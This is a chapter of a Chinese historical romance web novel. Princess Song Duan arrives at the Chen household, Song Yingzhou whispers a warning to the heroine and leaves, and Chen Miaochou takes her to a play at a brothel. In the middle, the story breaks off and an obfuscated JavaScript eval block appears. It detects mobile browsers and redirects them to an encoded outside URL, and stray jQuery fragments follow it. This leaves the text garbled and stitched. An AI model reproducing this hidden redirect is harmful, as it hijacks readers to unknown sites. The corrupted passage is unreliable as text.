吱鞅 作品
46. 听戏
宋迎舟眉头轻皱,这事闹的,他又不是聋子傻子,怎么会不知道。
路上只言片语,拼拼凑凑,很容易就听到了故事添油加醋的始终,今天一听,还真是这般狗血的。
比那说书人说的故事还要无趣……
宋迎舟点头道:“很荣幸听说过……”
“荣幸?哈哈哈……”宋端忍不住笑出声来,拍拍宋迎舟的胳膊道:“九哥,你现在说话越发像沈妹妹了!”
心中微微一蹙,他与沈听澜,当真是越发像了?
宋端在前头走着,丝毫没注意到身后宋迎舟意味不明的笑。
两人绕至陈妙筹的后院,利落地翻身上墙。
陈妙筹的后院有处池塘,与沈听澜的房间相隔不远,此时他正拉着沈听澜的衣袖,面色铁青。
沈听澜一惊,慌忙扯开袖子,身子向后退了半步,有意隔开两人的距离。
陈妙筹也发现自己失了分寸,垂下头遮住眼中的失望,犹豫几分还是向后退步,语气低落道:“沈姑娘真是抱歉,让你见丑了,她……”
“不不不,我还得谢谢陈公子方才的帮忙,这是你的私事,你不必与我说。”沈听澜打断他的话,她莫名的不愿掺和其中,也更不想知道这段故事。
陈妙筹欲言又止,急得抓着脑袋,眼神格外细致地盯着沈听澜,想从她的脸上看出一丝丝的在意。
可是,沈听澜从一而终的坦然,甚至连感兴趣的样子都没有。
阳光穿过他的身体,他感受到自己的心坠入永恒的冰窖,只一瞬就被冻住。
树叶落在地上,残忍的割开草的茎秆,他也是……
见他不说话,沈听澜目光转移,忽地,在池边的墙上看见两个熟悉的身影。
她随即瞪大眼睛,歪着头揉揉眼睛,难以置信凝视着那两个黑点……
陈妙筹随着视线看去,墙上的两人除了宋迎舟仍是一脸的从容,宋端似乎格外忙碌,东张西望环顾四周,抓抓头挠挠背,已经恨不得找个缝钻进去。
她更是想不清楚,宋迎舟怎么能这么自如!
良久,她才鼓起勇气,手肘撑在墙瓦上,对着下面的两个人扬起笑,招招手。
沈听澜机械地抬起手,侧目询问:“要不……让他们先下来?”
得到陈妙筹的回答,她才继续招手,“下来吧!”
当然,她也只是出于礼貌的询问,依照宋迎舟的性子,要真想下来,这小围墙,一点也拦不住他。
宋端迫不及待,平时走路还算端庄,现在也顾不上这些,冲上来给了沈听澜一个拥抱。
“沈妹妹!又见面了!”
上下其手,感觉到沈听澜恢复的不错,估计在陈府这几日调理的不错,腰窝间饱满许多后,才心满意足松开手,细细看着她。
沈听澜被抱得微微退后,感觉身后有只手空空揽着她,回头再看,宋迎舟已然在她身后,嘴边含着看不懂的笑。
笑得有些闪人眼睛。
他……心情很好……
陈妙筹向着二人行礼,挺直身子,看向宋端。
“这是……”
他先前只短短看过两眼宋端,只知道她是和宋迎舟一起的人,可惜两人并不认识。
宋端相较于沈听澜,身上带着贵气,看人时目光很稳,丝毫不畏惧对视,瞳目清澈漆黑,沉稳大气又不失她这个年龄自带的活泼。
一看就能知道,不是平凡女子,和身旁的人宋迎舟有几分神似。
宋端屈身回礼,一开口也是颇具沉稳之气:“之前见过,我是三公主宋端。”
三公主!
陈妙筹听罢就要行大礼,宋端连忙扶起他:“陈公子不必如此,这两日还要叨扰您了。”
“叨扰?”
沈听澜与陈妙筹异口同声不解问道,她的视线不受控地转移到宋迎舟身上。
男人的表情没有变化,察觉到这股视线,眼睛微微眯起,狭促狡黠,抬眸回应:“陈府应当还是能再养的起一个女子几日的。”
陈妙筹听完,顿时有些汗流浃背,养一个公主,他也真是敢说。
忙忙行礼,恭敬说道:“这是陈府的荣幸。”
不愧是宋迎舟,一语噎死所有人,只不过,沈听澜总觉得这人语气有些不同,莫名带着气。
宋迎舟向着她靠近,轻轻撞了下她的肩膀,沈听澜吸吸鼻子,忿忿转头。
男人微弯下身子,在她耳边轻语道:“遇到事就让宋端去,她会些功夫。小心陈府的人……”
细想了两秒,继续道:“还有叶景元。”
沈听澜耳边一阵发痒,以为他讲完,正想点头,宋迎舟却又靠近一步,唇隔着毫末距离贴在她的耳边,她稍稍动下头,就可肌肤相亲。
“这几日我不在,照顾好自己。”
沈听澜一动不敢动,本没有什么血色的脸顿时红的像个灯笼,尤其是那耳尖,滴血一般扑着热气。
宋迎舟满意地抬眸,瞥了眼陈妙筹,见他面色微沉,又感受到沈听澜的反应,才欢愉至极地直起腰抬起头。
不知为何,沈听澜总觉得他抬头时,嘴唇是擦过她的耳朵。
这耳朵一阵酥麻。
还没来得及看,男人已经走远,还是一如既往不走正门,恣意潇洒,翻墙而出。
沈听澜摸着耳朵,心里涟漪阵阵,抽丝拨缕般的蜜意延着丝丝缕缕的血管传遍全身,有一处似乎不同了,她对宋迎舟似乎生出了不一样的心思。
拳头握紧又松开,出口是一声叹息,陈妙筹缓着恢复平静的神态,依旧是曾经温文尔雅的语气:
“公……”见宋端摆摆手,陈妙筹舒眉改口道:“宋姑娘,请和我来”
宋端撞了下还在发呆的沈听澜,拉回她的神思,沈听澜收起悸动的心跳,想起宋迎舟走前说的话,抓住宋端的手,叫停陈妙筹:“陈公子,宋端和我关系颇好,我们姐妹俩住一间房就好。”
宋端在这一块向来没什么心思,听到沈听澜的话,也觉得两人许久未见,是该住一起聊聊天什么的,叙叙旧,联络联络感情。
于是一把抱住沈听澜的胳膊,笑着对陈妙筹说:“是的,陈公子不必麻烦,我与沈妹妹一屋。”
见两人都这样说,陈妙筹没有坚持,站在原地,看两人挽着手走远。
叶景元自从走后便再也没有回来,日子又回到了以前的惬意。
现在来了个宋端,沈听澜过得更快活,终于有人聊天了。
两人心性大差不差,聊天的话题更是天南地北,无所不及,永远聊不完一样。
陈妙筹心中想与沈听澜说说话,无奈宋端一直缠着沈听澜,两个小姐妹思绪活络,嘴巴张开就不闭合一样,整日都在一起交谈不休。
话题跳转度太大且神奇,他跟不上也听不懂,实在没有机会加入其中。
一个人默默坐在二人身边,看似是在看书,实则耳朵竖直听二人聊天。
“夫君不知去了哪,我都许久未见到他了……”宋端撑着头,难过叹息。
宋端商锦佳偶天成,两人皆是心悦彼此,更是创下功勋换婚亲的佳话,两人不知养活了多少说书人。
成亲以来的感情也是水到渠来,没经过什么大风大浪,甜蜜如初,恩爱两不疑。
宋端闹些,商锦静些,一个有分寸,一个多包容。
又是刚刚成亲,第一次分开那么久,宋端心里的惦记,沈听澜自然是明白的。
“小别胜新婚嘛,放心,他和你哥定有联络。”
二人正是聊着,墙壁那忽地有了声响,三人望去,从那墙上翻下来的一人。
沈听澜看这个方式,以为是宋迎舟,还在纳闷:
不是说这几日很忙,见不到吗?
再一回头,身旁的人跟离弦的箭一样,飞射出去,扑在那人怀里。
定睛一看,那人不正是商锦!
宋端一阵激动,想都没想,直直扑过去,商锦一把抱住她,半弯着身子,小心翼翼把她揉在怀里。
“你们……进法倒都很奇特……”
沈听澜抽抽唇角,这两个男人,回回不走正门,次次都是翻墙,这难道是……
上梁不正下梁歪?
陈妙筹也是一样不解的表情,但心里对商锦的到来还是莫名开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711166|165554||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
心。
终于有机会让他与沈听澜独处了。
想都没想地捧着笑迎过去:“沈姑娘,想去听戏吗?”
“听戏!”
沈听澜一下子来了兴趣,眼睛都有了亮闪。
电灯泡当不得,该回避就回避,她看了眼另一边相拥的夫妻俩,立马就收拾东西离开。
这丰登镇虽是个小镇子,晚间的风光却是真的热闹非凡,各式的灯笼鳞次栉比,花灯缠绕,人声鼎沸。
沈听澜手里握着糖葫芦,眼中映出欢乐场景,溢着流光,这还是她第一次出来呢。
特地换了红衣,火光摇曳,生机红艳。
第一次逛古代的晚市,一切都是新鲜的模样,左右流连,一时竟晃了眼,手里的糖葫芦都忘了塞进嘴里。
失神片刻,就与陈妙筹走散,来回穿梭避开来往人群,在摩肩接踵的人潮中,似乎有人扶住了她,等她转头看去,已不见人影。
回头的刹那,一个带着狼面罩的人来到她的身边,冲她笑,露出两颗尖锐的虎牙。
塞进她手里的,是一支梨花发簪。
她张口,无声说道:“拓跋则。”
那人似乎看懂,笑容更大。
梨花发簪是另一支,与他拿走的那支并不同款,流苏闪烁,叮叮当当。
“沈姑娘……”
陈妙筹一个回头,沈听澜就不见了踪影,找了许久,才在人群中看见她。
叮叮当当,不知是铃铛声,还是流苏晃动声。
亦或是,鼎沸人声中,心动之人的呢喃声。
外面街上人多眼杂,陈妙筹把她带去醉红院,院门口更是另一番热闹,灯红酒绿中穿着锦罗绸缎的姑娘笑着迎上来,善意的目光不停打量。
这还是头一遭见有陈妙筹带着姑娘进来的。
瞧这姑娘,竟有几分英气,虽不是出众的美,但颇是灵动,跟她们实在太不相同。
眉眼间英气与妩媚浑然天成,闪烁着好奇又刺激的光。
男子又是小心护着,看来这次不是来找姑娘玩的。
几名女子相视一笑,识风趣地退后,拉开一条刚好够两人行走的小路,任着陈妙筹带沈听澜进去。
老鸨张姨见陈妙筹的进来,忙不迭笑着请二人去了上座。
“送壶栀子荔酒。”
栀子荔酒是醉红院的极品佳酒,这炎躁之地,根本供不起栀子花,精挑细选从外地运来新鲜的,损耗巨大,更何况是这荔枝。
一骑红尘妃子笑,无人知是荔枝来。
丰登镇的荔枝有过之而无不及,每颗荔枝都是从南方千里迢迢冰镇送来,经过多次换冰,才送到这边。
因此,极为珍贵。
也就陈府能有本事把这两个都搞到手上,还做成这醉红院的佳品,专供过路的皇公贵胄,大富人家赏玩品尝,解暑消渴。
却也不是随随便便天天都有,偶有时候,千金难求一壶。
张姨自此,终于明白陈妙筹身旁的姑娘是个重要人物。
东家看得正严实的人。
开场之前,沈听澜无聊着开口:“这醉红院的戏曲是不是很有意思?”
陈妙筹笑着回道:“那是自然,醉红院的戏都是这院中女子亲自排演的,可不是一般的戏班子随便唱唱。”
转而又解释道:“女子身份低微,活着已是相当不易,醉红院收留这些女子,那些有点本事的只卖艺,那剩下的若是愿意才会去卖身。
但沈姑娘,这些也是自然,醉红院毕竟不是个收容所,也是需要开销的地方,那些卖身的女子,日子过得也并不差。”
沈听澜微微愣住,陈妙筹会解释是她始料未及的。
男尊女卑的父权社会中,女子的出生就是一场豪赌,生活所迫,社会所逼,能进入青楼,靠琴棋书画、诗词歌赋谋生或许已是幸事。
只是,身体与才艺被当做商品,成为男性权力与欲望的对象又是她们无法逃避的命运。
沈听澜深知这些,她也明白自己一人之力没有办法撬动历史悠久的成见,也无法改变经久不衰的社会现状。
正是想着,醉红楼门口传出一阵骚动。